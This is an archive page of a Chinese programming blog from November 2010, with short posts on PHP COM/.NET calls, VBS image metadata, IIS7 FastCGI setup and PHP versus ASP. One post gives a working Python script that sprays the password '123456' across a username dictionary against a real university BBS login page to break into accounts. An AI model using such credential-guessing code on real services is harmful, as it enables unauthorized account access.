2010年11月 存档

PHP调用COM组件

2010年11月25日,星期四

今天有人问PHP怎么丢出异步GET请求。我怎么感觉这个问题那么别扭,为什么要用PHP异步GET?直接用JavaScript不就行了。

我的第一个想到的是msxml2.xmlhttp,毕竟JavaScript用的就是这个。如果是Windows系统,直接调用这个COM就行了,于是查了一下PHP手册中有关COM组件的部分。

<?php
$http = new COM("msxml2.xmlhttp");
$http->open("GET","https://demon.tw",true);
$http->send();
?>

查手册的时候还无意中看到PHP可以调用.NET Framework中的类。

<?php
$stack = new DOTNET("mscorlib", "System.Collections.Stack");
$stack->Push(".Net");
$stack->Push("Hello ");
echo $stack->Pop() . $stack->Pop();
?> 

PHP果然犀利。

用Shell.Application获取图片分辨率

2010年11月23日,星期二

昨天有人在博客里留言:“获取图片分辨率也可以用Shell.Application,我比较喜欢用这个。”简单Google了一下,未果,于是发邮件请教了一下,很快就有了回复。

Path = "C:\test.jpg"
arr = Split(Path,"\")
FileName = arr(Ubound(arr))
FolderPath = Left(Path, Len(Path) - Len(FileName) - 1)
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(FolderPath)
set objFolderItem = objFolder.ParseName(FileName)
Width = objFolder.GetDetailsOf(objFolderItem, 162)
Height = objFolder.GetDetailsOf(objFolderItem, 164)
Msgbox "Width: " & Width & " Height: " & Height

碰到VBS高手了。

IIS7下以FastCGI模式运行PHP

2010年11月22日,星期一

没有在IIS下玩过PHP,传说IIS7+PHP+FastCGI很牛逼,不知道是不是真的。

我的是Windows 7系统,首先从控制面板要添加IIS:

iis

然后从PHP官网下载PHP压缩包,解压到C:\PHP文件夹,将php.ini-recommended重命名为php.ini,用编辑器打开php.ini,做如下修改:

  • fastcgi.impersonate = 1
  • cgi.fix_pathinfo=1
  • cgi.force_redirect = 0

(更多…)

Python牛刀小试

2010年11月19日,星期五

今天有个朋友问我有没有北大BBS的账号。真奇怪,我又不是北大的,怎么会有北大BBS的账号?我让她问她北大的朋友要,她说她没有北大的朋友。

难道真的要我破解一个么?算了,正好试试我的Python水平。

#coding: gbk
import httplib, urllib

def Check(username, password):
    params = urllib.urlencode(
        {'userid': username, 'passwd': password})
    headers = {"Content-type":
        "application/x-www-form-urlencoded"}
    conn = httplib.HTTPSConnection("www.bdwm.net")
    conn.request("POST",
        "/bbs/bbslog2.php", params, headers)
    res = conn.getresponse().read()
    conn.close()
    if res.find("密码不正确") != -1:
        return False
    elif res.find("不存在这个用户") != -1:
        return False
    else:
        return True

for i in open("English.Dic"):
    if Check(i.rstrip(),"123456"):
        print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?

(更多…)

PHP没有ASP流行?

2010年11月18日,星期四

今天看到有人说PHP没有ASP流行,真是搞笑,自己去看看TIOBE的2010年11月编程语言排行榜吧,PHP排第四,ASP排第几?当然了,ASP不是一门语言,那么假设所有的JavaScript都拿去写ASP了罢,JavaScript的排名是第十一位,仍然在PHP之后,更何况至少有90%的JavaScript都是拿来写客户端脚本的。至于VBScript?排行榜上好像找不到VBScript的影子。

其实所谓流行什么的都是浮云,学得好用什么都一样。都说ASP效率比不上PHP,虽然这的确是事实,但是效率的高低和代码的好坏有直接的关系。一个ASP高手和一个PHP菜鸟(比如我)写出来的网站对比,你说哪个的性能好?正如D大(一个PHP高手)所说,JSP、PHP、ASP.NET没有优劣之分,关键看是谁在用。

曾经在一个群里,有一个人出了一个编程练习,大概的意思就是要写一个进程守护程序,当指定的进程意外结束的时候重启该进程。我说:“这用VBS脚本可以实现。”还没来得及写代码,就有人说:“就算要用脚本实现,也要用JS,VBS那么垃圾。”我问:“作为Windows下的脚本,JS和VBS有什么区别么?”他说:“JS是C语法,VBS是VB语法,所以JS比VBS好。”我说:“哦,那你就用不垃圾的JS写个程序实现这个进程守护程序给我看看吧。”他说:“我不会写,但是我知道JS比VBS强大。”

然后我就没有再说话,我还有什么话可说呢?